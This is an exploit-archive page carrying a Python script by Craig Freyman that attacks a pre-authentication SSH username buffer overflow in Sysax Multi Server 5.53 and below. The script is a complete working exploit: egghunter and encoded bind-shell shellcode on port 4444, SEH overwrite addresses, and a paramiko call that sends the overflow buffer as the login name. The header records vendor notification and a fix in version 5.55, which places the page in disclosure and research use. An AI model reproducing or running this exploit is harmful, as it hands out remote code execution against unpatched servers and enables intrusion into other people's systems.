exploit the possibilities

Sysax 5.53 SSH Username Buffer Overflow Exploit

Sysax 5.53 SSH Username Buffer Overflow Exploit
Posted Feb 27, 2012
Authored by Craig Freyman

Sysax Multi Server versions 5.53 and below SSH username buffer overflow pre-authentication remote code execution exploit with egghunter shellcode that binds a shell to port 4444.

tags | exploit, remote, overflow, shell, shellcode, code execution
MD5 | efa4237db0195980bc7a8d07b894b4a8

Sysax 5.53 SSH Username Buffer Overflow Exploit

Change Mirror Download
#!/usr/bin/python
##########################################################################################################
#Title: Sysax <= 5.53 SSH Username BoF Pre Auth RCE (Egghunter)
#Author: Craig Freyman (@cd1zz)
#OS Tested: XP SP3 32bit, 2003 Server SP2 (No DEP)
#Software Versions Tested: 5.53, 5.52, 5.50
#Date Discovered: Febrary 22, 2012
#Vendor Contacted: Febrary 23, 2012
#Vendor Response: February 27, 2012
#Vendor Fix: Sysax 5.55
#Detailed Exploit Description:http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html
##########################################################################################################
import paramiko,os,sys
if len(sys.argv) != 3:
print "[+] Usage: ./filename <Target IP> <Port>"
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05"
"\x5a\x74\xef\xb8\x44\x4e\x57\x50\x8b\xfa\xaf\x75\xea\xaf"
"\x75\xe7\xff\xe7")
# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e -e x86/alpha_mixed X
shell = ("DNWPDNWP"
"\x89\xe0\xda\xdf\xd9\x70\xf4\x5b\x53\x59\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51"
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32"
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
"\x42\x75\x4a\x49\x69\x6c\x68\x68\x6d\x59\x77\x70\x57\x70"
"\x57\x70\x33\x50\x4f\x79\x39\x75\x70\x31\x7a\x72\x62\x44"
"\x4c\x4b\x52\x72\x70\x30\x6e\x6b\x32\x72\x44\x4c\x4c\x4b"
"\x36\x32\x74\x54\x6e\x6b\x71\x62\x34\x68\x64\x4f\x78\x37"
"\x42\x6a\x76\x46\x54\x71\x39\x6f\x35\x61\x49\x50\x4e\x4c"
"\x77\x4c\x61\x71\x31\x6c\x66\x62\x64\x6c\x75\x70\x39\x51"
"\x58\x4f\x34\x4d\x66\x61\x4f\x37\x6b\x52\x6c\x30\x73\x62"
"\x30\x57\x4c\x4b\x36\x32\x64\x50\x4c\x4b\x63\x72\x77\x4c"
"\x57\x71\x7a\x70\x6e\x6b\x61\x50\x72\x58\x6f\x75\x79\x50"
"\x61\x64\x50\x4a\x63\x31\x48\x50\x30\x50\x4c\x4b\x53\x78"
"\x56\x78\x6e\x6b\x50\x58\x51\x30\x35\x51\x59\x43\x69\x73"
"\x57\x4c\x73\x79\x4c\x4b\x47\x44\x6e\x6b\x47\x71\x79\x46"
"\x44\x71\x4b\x4f\x35\x61\x79\x50\x6c\x6c\x39\x51\x5a\x6f"
"\x76\x6d\x47\x71\x78\x47\x75\x68\x6b\x50\x33\x45\x39\x64"
"\x64\x43\x73\x4d\x4c\x38\x37\x4b\x31\x6d\x45\x74\x64\x35"
"\x39\x72\x32\x78\x4c\x4b\x30\x58\x45\x74\x47\x71\x48\x53"
"\x50\x66\x4c\x4b\x36\x6c\x42\x6b\x4e\x6b\x56\x38\x75\x4c"
"\x47\x71\x39\x43\x4e\x6b\x56\x64\x4e\x6b\x33\x31\x68\x50"
"\x6b\x39\x70\x44\x76\x44\x77\x54\x43\x6b\x71\x4b\x35\x31"
"\x36\x39\x30\x5a\x30\x51\x4b\x4f\x4d\x30\x70\x58\x31\x4f"
"\x42\x7a\x4c\x4b\x55\x42\x6a\x4b\x4d\x56\x63\x6d\x70\x68"
"\x50\x33\x36\x52\x45\x50\x67\x70\x70\x68\x31\x67\x31\x63"
"\x45\x62\x71\x4f\x31\x44\x61\x78\x52\x6c\x62\x57\x51\x36"
"\x53\x37\x59\x6f\x4b\x65\x6f\x48\x6e\x70\x56\x61\x67\x70"
"\x77\x70\x76\x49\x68\x44\x43\x64\x50\x50\x73\x58\x45\x79"
"\x6b\x30\x32\x4b\x65\x50\x49\x6f\x49\x45\x62\x70\x72\x70"
"\x76\x30\x70\x50\x53\x70\x66\x30\x67\x30\x46\x30\x45\x38"
"\x48\x6a\x36\x6f\x39\x4f\x59\x70\x39\x6f\x78\x55\x4e\x69"
"\x49\x57\x36\x51\x6b\x6b\x52\x73\x50\x68\x56\x62\x77\x70"
"\x66\x71\x31\x4c\x4f\x79\x6b\x56\x51\x7a\x36\x70\x72\x76"
"\x32\x77\x65\x38\x4b\x72\x6b\x6b\x64\x77\x71\x77\x4b\x4f"
"\x4e\x35\x50\x53\x56\x37\x73\x58\x6c\x77\x38\x69\x37\x48"
"\x69\x6f\x39\x6f\x78\x55\x63\x63\x30\x53\x31\x47\x62\x48"
"\x30\x74\x78\x6c\x57\x4b\x79\x71\x6b\x4f\x79\x45\x76\x37"
"\x4c\x49\x6f\x37\x55\x38\x73\x45\x72\x4e\x50\x4d\x43\x51"
"\x39\x6f\x59\x45\x73\x58\x42\x43\x50\x6d\x43\x54\x75\x50"
"\x4d\x59\x59\x73\x70\x57\x30\x57\x73\x67\x36\x51\x38\x76"
"\x51\x7a\x57\x62\x42\x79\x36\x36\x5a\x42\x6b\x4d\x31\x76"
"\x49\x57\x61\x54\x47\x54\x37\x4c\x67\x71\x53\x31\x4c\x4d"
"\x67\x34\x77\x54\x74\x50\x7a\x66\x37\x70\x51\x54\x52\x74"
"\x52\x70\x71\x46\x70\x56\x43\x66\x32\x66\x50\x56\x42\x6e"
"\x50\x56\x46\x36\x61\x43\x43\x66\x53\x58\x73\x49\x58\x4c"
"\x37\x4f\x4d\x56\x4b\x4f\x78\x55\x6f\x79\x69\x70\x30\x4e"
"\x50\x56\x51\x56\x39\x6f\x76\x50\x61\x78\x63\x38\x4e\x67"
"\x67\x6d\x71\x70\x59\x6f\x49\x45\x6d\x6b\x68\x70\x4f\x45"
"\x4e\x42\x62\x76\x72\x48\x4c\x66\x4e\x75\x6d\x6d\x6d\x4d"
"\x6b\x4f\x6a\x75\x37\x4c\x63\x36\x63\x4c\x45\x5a\x6f\x70"
"\x39\x6b\x39\x70\x52\x55\x37\x75\x6d\x6b\x63\x77\x75\x43"
"\x74\x32\x72\x4f\x51\x7a\x77\x70\x50\x53\x69\x6f\x38\x55"
"\x41\x41")
padding1 = "\x90" * 50
padding2 = "\x90" * 50
nseh = "\x90\x90\xeb\x80"
seh = "\x69\x26\x40\x00" #00402669 PPR sysaxservd.exe
junk = "A" * (9204 - len(egghunter + padding1 + padding2 + shell))
buff = junk + shell + padding1 + egghunter + padding2 + nseh + seh
print "============================================================================"
print " Sysax <= 5.53 SSH Username BoF Pre Auth RCE "
print " by cd1zz "
print " www.pwnag3.com "
print "============================================================================"
try:
transport = paramiko.Transport((host, port))
except:
print "[X] Unable to connect to " + host + " on port " + str(port)
sys.exit(1)
transport = paramiko.Transport((host, port))
print "[+] Launching exploit against " + host + " on port " + str(port)
print "[+] Done!"
transport.connect(username = buff, password = "pwnag3")
transport.close()

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    19 Files
  • 16
    Oct 16th
    19 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close